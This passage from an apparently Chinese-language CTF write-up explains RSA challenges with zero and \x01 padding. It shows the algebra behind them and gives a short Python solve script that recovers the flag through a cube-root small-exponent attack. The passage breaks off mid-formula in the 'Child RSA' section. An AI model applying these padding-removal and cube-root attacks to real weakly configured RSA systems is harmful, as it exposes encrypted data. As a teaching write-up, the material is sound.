class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>于是根据 RSA 的加密关系，有：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>c</mi><mo>≡</mo><msup><mi>m</mi><mn>3</mn></msup><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>N</mi></mrow><annotation encoding="application/x-tex">c\equiv m^3 \bmod N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.46375em;vertical-align:0em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8641079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>c</mi><mo>≡</mo><mo stretchy="false">(</mo><msub><mi>m</mi><mn>0</mn></msub><mo>×</mo><mo stretchy="false">(</mo><msup><mn>2</mn><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>210</mn></msup><msup><mo stretchy="false">)</mo><mn>3</mn></msup><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>N</mi></mrow><annotation encoding="application/x-tex">c\equiv (m_0\times (2^8)^{210})^3 \bmod N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.46375em;vertical-align:0em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>c</mi><mo>≡</mo><msubsup><mi>m</mi><mn>0</mn><mn>3</mn></msubsup><mo>×</mo><mo stretchy="false">(</mo><msup><mn>2</mn><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>210</mn></msup><mo>×</mo><mo stretchy="false">(</mo><msup><mn>2</mn><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>210</mn></msup><mo>×</mo><mo stretchy="false">(</mo><msup><mn>2</mn><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>210</mn></msup><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>N</mi></mrow><annotation encoding="application/x-tex">c\equiv m_0^3\times (2^8)^{210}\times (2^8)^{210}\times (2^8)^{210} \bmod N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.46375em;vertical-align:0em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.1111079999999998em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span></span></p><p>其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi></mrow><annotation encoding="application/x-tex">c</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">c</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>N</mi></mrow><annotation encoding="application/x-tex">N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span> 我们都已知，那么等式两边同时乘以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msup><mn>2</mn><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>210</mn></msup></mrow><annotation encoding="application/x-tex">(2^8)^{210}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.064108em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span> 的逆元的三次方，我们就可以得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>m</mi><mn>0</mn><mn>3</mn></msubsup><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>N</mi></mrow><annotation encoding="application/x-tex">m_0^3 \bmod N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0622159999999998em;vertical-align:-0.24810799999999997em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-2.4518920000000004em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span>，此时的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">m_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 因为长度只有45，再应用小公钥指数攻击即可（事实上都不需要加上 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>，直接开三次方就开出整数了）。</p><pre><code class="hljs python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *<span class="hljs-keyword">from</span> gmpy2 <span class="hljs-keyword">import</span> irootn = <span class="hljs-number">16530365897488441262718469160468305284672770158565384656092954623166151666302358404933519039638206427781958395014977873069315249917687177391054598956921816589982653878314268070746187225652226338489804977785763153836685700798637491040895954952095422949071944941698464075339538328682378899518357259255186771307748930179001187349761726049249957165990922342916419869650553300100675697071325624717861450136979864203856665171732760034460573404619831815041691417998362001038634540263831565785650815875836418726271391989975051958347165191015489214380435520924596097210274112756495171085840647510675017795358896351877011292749</span>ct = <span class="hljs-number">1649242716162425826952050775303626268696750298411662319537259424228876945404220528279665292763881515080700349538084002211268837126748044168226799293579149622927076423346431814176280309043104500742869900600491670771220025075170550107937095925147470540522377810395335659166311121764537896320094910974901416858921029589127145477064557304982115657845643933262558300020611395670651783198790515650255634160032636409647553580657649111930945938237122361584298948645275748211120347592403311681019560483613600396814929463355821651618347651685517027239330376660444812896525930403439089808046524555500501484453485168927363278214</span>r = <span class="hljs-built_in">pow</span>(<span class="hljs-number">256</span>, <span class="hljs-number">210</span>, n)inv_r = inverse(r, n)m = iroot(ct*inv_r*inv_r*inv_r % n, <span class="hljs-number">3</span>)<span class="hljs-built_in">print</span>(long_to_bytes(m[<span class="hljs-number">0</span>]))</code></pre><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_3e5fbce8c1975f88b7c9e4025dd94203.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_3e5fbce8c1975f88b7c9e4025dd94203.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="child-rsa"><a class="markdownIt-Anchor" href="#child-rsa"></a> Child RSA</h3><p>上一题的进阶版本，仅仅把 padding 的模式从全零填充换成了填充 <code>\x01</code>（即 <code>00000001</code>），提升了难度。</p><p>依旧可以用数学语言写出 padding 过程的表达式。我们同样记原本的消息（也就是 flag）为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">m_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，经过 padding 之后的消息为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">m</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">m_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 长度未知，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">m</span></span></span></span> 长度为255。同样大胆假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">m_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 长度为45，那么 padding 的过程也就相当于在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">m_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 后面补了210组 <code>00000001</code> 比特。将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">m</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">m_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 看成十进制整数，于是得到这样的关系式：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>m</mi><mo>=</mo><mi>p</mi><mi>a</mi><mi>d</mi><mo stretchy="false">(</mo><msub><mi>m</mi><mn>0</mn></msub><mo stretchy="false">)</mo><mo>=</mo><msub><mi>m</mi><mn>0</mn></msub><mo>×</mo><mo stretchy="false">(</mo><msup><mn>2</mn><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>210</mn></msup><mo>+</mo><msup><mn>2</mn><mn>0</mn></msup><mo>+</mo><msup><mn>2</mn><mn>8</mn></msup><mo>+</mo><mo>⋯</mo><mo>+</mo><msup><mn>2</mn><mrow><mn>8</mn><mo>×</mo><mn>219</mn></mrow></msup><mo>=</mo><msub><mi>m</mi><mn>0</mn></msub><mo>×</mo><mo stretchy="false">(</mo><msup><mn>2</mn><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>210</mn></msup><mo>+</mo><mfrac><mrow><mo stretchy="false">(</mo><msup><mn>2</mn><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>210</mn></msup><mo>−</mo><mn>1</mn></mrow><mrow><msup><mn>2</mn><mn>8</mn></msup><mo>−</mo><mn>1</mn></mrow></mfrac></mrow><annotation encoding="application/x-tex">m=pad(m_0)=m_0\times(2^8)^{210}+2^0+2^8+\cdots+2^{8\times219}=m_0\times(2^8)^{210}+\frac{(2^8)^{210}-1}{2^8-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">a</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.9474379999999999em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.9474379999999999em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.864108em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.864108em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">8</span><span class="mbin mtight">×</span><span class="mord mtight">2</span><span class="mord mtight">1</span><span class="mord 